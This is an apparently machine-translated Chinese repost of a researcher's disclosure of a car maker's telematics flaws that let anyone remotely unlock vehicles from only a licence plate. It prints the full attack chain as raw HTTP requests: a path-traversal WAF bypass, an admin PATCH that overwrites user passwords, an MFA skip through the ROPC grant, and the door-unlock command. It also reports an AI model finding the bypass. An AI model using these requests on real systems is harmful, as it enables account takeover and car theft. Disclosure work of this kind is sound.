跳到正文
Hacker News· infosecau·· 6 小时前AI 评分74

研究者披露某车企车联网漏洞:仅凭车牌可远程解锁多国车辆

Unlocking any car from X brand in most of the world

AI 导读

安全研究者 infosecau 与 Sam Curry 披露某车企车联网系统漏洞,仅凭车牌号即可远程解锁其澳大利亚车辆,结合另一篇报告还可影响美国与加拿大车辆。

正文 · AI 翻译

2026年11月7日

我一直对这个特定的汽车品牌情有独钟。多年来,我们家拥有过几辆这个品牌的车,它们为我们服务得非常好。2023年,我从他们那里买了一辆新的四驱/SUV,那是我第一次接触到他们的车联网平台。

之前研究过类似的平台(以往的工作),我对它们到底有多安全持怀疑态度。我怀疑那里有问题,但生活总是让我无暇去实际查看。今年7月,我与Sam Curry合作,研究了一家大型汽车制造商车联网系统的安全性。在本文中,我将简单地称他们为“这家汽车制造商”。

通常想到汽车黑客,人们很容易跳到硬件层面,但我的背景恰恰集中在攻破面向互联网的Web应用和基础设施上。不管硬件部分如何,它最终都会连接回某个服务,而这个服务在设计上必须能从互联网访问。

这段旅程始于一个简单的问题:当我远程解锁我的车时,应用在与什么基础设施通信?为了弄清楚这一点,我下载了APK并反编译了它,最终重建了正在发出的API请求。

浏览代码时,主要的联系点似乎是*.redacted-telematics.com.au下的资产:

dartExecutor.executeDartEntrypoint(createDefault, CollectionsKt.r(gson.toJson(new GlobalConfigParams(false, g11, com.redacted.app.xcapp.a.f69866f, "X", str)), new Gson().toJson(new ApiConfig("https://api.redacted-telematics.com.au", "https://api.redacted-telematics.com.au", "https://api.redacted-telematics.com.au" ...

消费者应用的几乎每个部分都会回调到redacted-telematics.com.au。这个域名下还有什么其他东西?

管理工具

运营车联网基础设施可能相当复杂,管理它需要混合使用管理工具、预发布、开发和QA环境,以确保客户获得干净的体验。但所有这些是否都应该放在公共互联网上,让任何愿意做基本侦察的人都能访问,那就是另一回事了。

有一个资产比其他资产更吸引我的注意。admintool.redacted-telematics.com.au返回了一个标题为TEST HARNESS的页面。谁能抗拒一个包含admintool的子域名呢?

访问这个子域名时,呈现的是一个非常朴素、灰色的登录界面,这并没有散发出高质量的感觉,因为在我们登录之前它就显示了一个注销按钮。

我喜欢大多数单页应用即使只需要渲染一个登录页面,也会发布整个JavaScript包。当然,一些更现代的框架会拆分JavaScript文件,以便只提供必要的内容,但在这种情况下,我们可以梳理庞大的JavaScript包,以了解这个“管理工具”实际上让你做什么。

散发质量感
谁还会读JavaScript包?

事实证明,这个管理工具能做的事情相当多。它有一个丰富的API,让汽车制造商的员工能够与客户账户和生产车辆交互,而且限制非常少。重建请求后,我们发现许多这些API除了JavaScript包中硬编码的API密钥外,不需要任何身份验证。

例如,我们可以通过电子邮件地址查找用户账户:

但这还不够好。如果我们想仅凭车牌号就能解锁他们的任何一辆车,我们需要做得更好。

在澳大利亚,通过基于州的注册查询网站,车牌号可以相当容易地获得VIN(车辆识别号码)。

这其实不算安全漏洞。想要VIN有很多正当理由,比如在购买二手车之前检查车辆的真实维修和保险历史。如果我们能从VIN找到用户或电子邮件,我们就完成了整个链条。

幸运的是,有一个 API 恰好能实现这一点:

有了订阅者 GUID,你就可以像这样拉取完整的账户详情(包括通过 /v1/account 端点获取用户的电子邮件):

好吧,我想我们这条链的第一部分已经理清了。车牌 -> VIN -> 订阅者 GUID -> 在汽车制造商身份平台(ForgeRock OpenIDM)上注册的用户账户 PII(电子邮件)。

那么,我们如何向任意一辆车发送命令呢?这个管理工具想必能让我们做到这一点吧?很遗憾,不能。它让我们能够为车辆配置功能、将我们自己作为次要用户添加到用户账户中,甚至生成远程访问代码。但尽管有这些功能,它们实际上都没有让我们获得对车辆的远程控制权。

身份平台

随后,Sam 和我花了两周时间深入研究了汽车制造商如何管理其中心身份系统:他们使用的软件、命令的签发方式,以及消费者如何进行身份验证。

当用户通过汽车制造商移动应用的认证流程时,会向 login.redacted-identity.com.au 发起请求,经过 MFA 流程后,最终会签发一个消费者认证令牌。这个认证令牌随后用于对 api.redacted-telematics.com.au(REST API 和 GraphQL)的后续请求。一旦你拿到了这个认证令牌,基本上就大局已定了。你可以控制用户的车辆(远程解锁/上锁、鸣笛、发动机等)。

所以,如果我们能为任意用户铸造一个令牌,我们最终就能控制任何人的联网汽车。这就是我们选择的方向。

这家汽车制造商是 ForgeRock 身份软件(OpenAM/OpenIDM)的重度用户。这是他们认证机制的基石。拉取 *.redacted-identity.com.au 的子域名后,我们很快就在 openidm.redacted-identity.com.au 找到了他们的 OpenIDM 实例。这个系统管理着在汽车制造商联网汽车平台上注册的每一个身份。

当我们在 *.redacted-telematics.com.au 下梳理 JavaScript 文件时,这一切都串联起来了,我们发现了一个极其糟糕的供应商 JavaScript 包,其中嵌入了 OpenIDM 的管理员凭据 😱:

尽管这些管理员凭据本应是用于他们的预发布环境的,但鉴于我们目前所见的卫生状况,我们很确定它们在生产环境中也能用。

对抗 WAF

进一步查看 OpenIDM 后,我们无法判断汽车制造商是否知道它有多脆弱。但有一件事是显而易见的:他们投入了大量精力来制定 WAF 规则,以阻止访问 ForgeRock 通常允许你通过 /openidm/* 调用的敏感 API。

即使有了源 IP,任何对 /openidm/ 的请求都会直接被 Nginx WAF 拦截。有人确实花了很大力气来加固这些资产(尽管它们可以从外部访问)。

可以理解,我们尊重这种加固。但如此大的 WAF 投入通常意味着在已知有问题的东西上贴创可贴。他们可能明白暴露这个资产有多糟糕,但某些商业理由还是让它留在了那里。

当我们有足够动力时,我不确定 WAF 规则是否曾阻止过我们,所以我们花了几天时间,用我们可靠的路径遍历技巧来寻找绕过这些保护的方法。能有多难呢?

验证我们在 JavaScript 包中发现的管理员凭据并不太难。澳大利亚的 OpenIDM 实例有几个路径被列入白名单,比如 /XUI/ 和 /UI/,而且路径遍历字符没有被阻止,所以像 /XUI/..%2fopenidm/endpoint 这样简单的东西似乎至少部分有效:

至少我们知道这些凭据在生产环境中是有效的

但事情绝不会这么简单,对吧?由于 OpenIDM 处理路由的方式有些古怪,路径遍历仍然没能让我们访问到 /openidm/ 下的端点。每个端点都会像这样报错:

天哪,我们就差一点了?!

在 OpenIDM 的世界里,没有任何 servlet(或资源)注册在包含路径遍历的路径上。所以它只会报错,即使它已经给我们签发了一个管理员 JWT。

我们对此非常恼火。路由机制中的一个小怪癖(可能甚至不是出于安全考虑而设计的)阻止了完整攻击链的运作。我们沮丧地坐了好几天,觉得路径遍历这条路走不通了。我们确实找到了几个其他端点(例如用户上传),看起来可能可行,但我们又撞上了另一个怪癖——servlet 路径检查,这使我们无法有意义地利用它们。

这一切让我们提出了一个不同的问题:为什么要把这些 OpenIDM 实例暴露在外部呢?这些资产暴露在互联网上肯定有某种正当的用途吧?我们回到从他们的资产中收集到的各种 JavaScript 包,在其中搜索与 OpenIDM 的通信。我们转向反编译的 Android 应用程序,发现了以下内容:

也许某些端点有白名单?

这些显然是他们的 OpenIDM 资产中可以从 Android 应用访问的端点。那么,也许这些端点可以在 WAF 不拦截的情况下访问?

  • /openidm/endpoint/aaa -> 403 被 WAF 拦截
  • /openidm/endpoint/pinService -> 404,未被 WAF 拦截

有意思!

还存在哪些自定义端点?经过非常轻量的暴力破解和猜测,我们很快发现了一个 getUser 端点。通过猜测参数,我们发现它接受 mail、guid 和 phone。结合我们的管理员凭据,这究竟能让我们做什么?

呃。

响应返回了密码哈希、PIN 码哈希、移动推送令牌,以及包括手机号码和全名在内的 PII。这个端点没有被 WAF 拦截,所以不需要路径遍历,正确的 servlet 就响应了。

别误会,这已经相当有影响了。但密码是用 PBKDF2-SHA512 哈希的,每次解锁都需要在哈希破解设备上花时间,而且不保证成功,感觉有点不够劲。

回到绘图板。我们如何才能通过路径遍历访问 /openidm/managed/user servlet,同时让路径仍被 OpenIDM 识别?我们获取了最接近我们测试版本的 OpenIDM 源代码,并让 GPT 5.6 Sol Ultra 在上面花了整整六个小时。

它成功了。尽管 Sam 和我都花时间亲自尝试绕过这个幼稚的限制,但我们并没有尝试所有可能的组合。

当 Sam 和我尝试 /XUI%2f..%2fopenidm/ 时,我们得到了硬性的 403,作为人类,我们以为这适用于所有前缀。GPT 5.6 发现的是,/static%2f..%2fopenidm/ 根本不在 WAF 的覆盖范围内,它给了我们 OpenIDM API,而没有 servlet 混淆的问题。

接管账户

有了这个绕过方法,接管账户变得轻而易举。我们可以为任何用户配置文件 PATCH 一个新密码:

PATCH /static%2f..%2fopenidm/managed/user/f7ba554REDACTED HTTP/1.1
Host: openidm.redacted-identity.com.au
X-OpenIDM-Username: idmadmin
X-OpenIDM-Password: REDACTED
X-OpenIDM-NoSession: true
Content-Type: application/json
If-Match: "0000000abc123..."
Cache-Control: no-store
Accept: application/json

[{"operation":"replace","field":"/password","value":"Testing123!"}]

其响应为:

> HTTP/1.1 200 OK
> {"_id":"f7ba554REDACTED","_rev":"0000000def456..."}

好,所以我们可以覆盖任何用户的密码。但多因素认证呢?

跳过 MFA

嗯,这家汽车制造商的澳大利亚环境还有一个配置错误:多因素验证步骤可以被完全跳过。首先,我们使用资源所有者密码凭据授权从login.redacted-identity.com.au请求了一个身份验证令牌,它返回了一个干净的 id_token,我们可以用它换取消费者应用中可用的东西:

POST /oauth2/realms/root/realms/REDACTED/access_token HTTP/1.1
Host: login.redacted-identity.com.au
Content-Type: application/x-www-form-urlencoded

grant_type=password&[email protected]&password=Testing123!&client_id=REDACTED_PORTAL&client_secret=REDACTED

> HTTP/1.1 200 OK
> {
>   "access_token": "...",
>   "id_token": "eyJ0eXAiOiJKV1Qi...",
>   "token_type": "Bearer",
>   "expires_in": 3599
> }

我们拿到它,进入第二步,用第一个令牌换取会话:

POST /json/realms/REDACTED/authenticate?authIndexType=service&authIndexValue=IDTokenROPC HTTP/1.1
Host: login.redacted-identity.com.au
Content-Type: application/json
Accept: application/json
Accept-API-Version: resource=2.0, protocol=1.0
idtoken: eyJ0eXAiOiJKV1Qi...

> HTTP/1.1 200 OK
> {
>   "tokenId": "AQIC5wM2LY4Sfcy...*",
>   "successUrl": "/openam/console",
>   "realm": "/REDACTED"
> }

最后,我们执行令牌交换,获取移动应用访问令牌:

POST /oauth2/realms/root/realms/REDACTED/authorize HTTP/1.1
Host: login.redacted-identity.com.au
Content-Type: application/x-www-form-urlencoded
Accept-API-Version: resource=2.1, protocol=1.0
x-fr-version: 2025.05.05
Authorization: Basic <REDACTED>
iPlanetDirectoryPro: AQIC5wM2LY4Sfcy...*
Cookie: iPlanetDirectoryPro=AQIC5wM2LY4Sfcy...*

client_id=REDACTED_APP&redirect_uri=com.redacted.app:/oauth2Callback&scope=openid%20profile%20write&response_type=code&state=<state>&code_challenge=<S256_challenge>&code_challenge_method=S256&decision=allow&csrf=AQIC5wM2LY4Sfcy...*

> HTTP/1.1 302 Found
> Location: com.redacted.app:/oauth2Callback?code=<authorization_code>&state=<state>

POST /oauth2/realms/root/realms/REDACTED/access_token HTTP/1.1
Host: login.redacted-identity.com.au
Content-Type: application/x-www-form-urlencoded
Accept-API-Version: resource=2.1, protocol=1.0
Authorization: Basic <REDACTED>

grant_type=authorization_code&code=<authorization_code>&redirect_uri=com.redacted.app:/oauth2Callback&client_id=REDACTED_APP&code_verifier=<pkce_verifier>

> HTTP/1.1 200 OK
> {
>   "access_token": "<app_access_token>",
>   "refresh_token": "...",
>   "token_type": "Bearer",
>   "scope": "openid profile write",
>   "expires_in": 3599
> }

我知道,这非常复杂。OAuth 有时确实难用得让人恼火。但这些步骤让我们能够绕过这家汽车制造商车联网应用任何用户的多因素身份验证。

解锁汽车

此时,我们离解锁这家汽车制造商在澳大利亚的任何一辆车都如此之近。剩下的就是用我们现在能为任何人铸造的应用令牌发出命令 API 请求。

POST /v1/remote/route/command HTTP/1.1
Host: api.redacted-telematics.com.au
Authorization: Bearer <app_access_token>
X-API-KEY: REDACTED
X-GUID: f7ba554REDACTED
X-BRAND: REDACTED
X-APPBRAND: REDACTED
X-CHANNEL: REDACTED
X-LOCALE: en-AU
X-APPVERSION: REDACTED
X-OSNAME: Android
X-OSVERSION: 14
X-DEVICE-TIMEZONE: AEST
X-CORRELATIONID: 6f1a2b3c-4d5e-6f70-8192-a3b4c5d6e7f8
X-GENERATION: REDACTED
VIN: XXXXXXXXXXXXXXXXX
Content-Type: application/json
Accept: application/json
User-Agent: okhttp/4.12.0

{"command": "door-unlock", "autoFixPopup": false, "beepCount": null}

然后奇迹发生了。车门解锁了。

我们显然是在我们明确拥有或获准交互的车辆上完成所有这些操作的。

但让我们退一步,想想我们在这里取得了什么。我们只需知道车辆的车牌号,就能向这家汽车制造商在澳大利亚的任何车辆发送命令,涵盖其两个品牌。最终的链条是这样的:

车牌 -> VIN -> 订阅者 GUID -> JS 供应商包中的 OpenIDM 管理员凭据 -> 路径遍历绕过 WAF -> 通过 ROPC 流程绕过 MFA -> 铸造消费者应用令牌 -> 远程命令 API。

凌晨 12 点,当完整链条终于串联起来时,我拍了一段脚本运行中的短视频。它并不精致,但看到一切正常工作仍然感觉很神奇。我绝对是为这样的艰难挑战而活。

0:00

/0:57

你可能会想:Shubs,你说过他们在世界上的任何车辆。这只涵盖了澳大利亚。怎么回事?

Sam 和我一起研究了一条复杂得多的链条,他已在他的博客上发布了。它比我们在澳大利亚采取的步骤需要更多的工作,因为这家汽车制造商花了更多时间来保护美国、加拿大和欧洲的 OpenIDM 环境。

归根结底,将两份报告结合起来,我们可以向这家汽车制造商在澳大利亚、美国和加拿大的任何车辆发送远程命令,例如解锁和启动发动机。

来源:Hacker News · shubs.io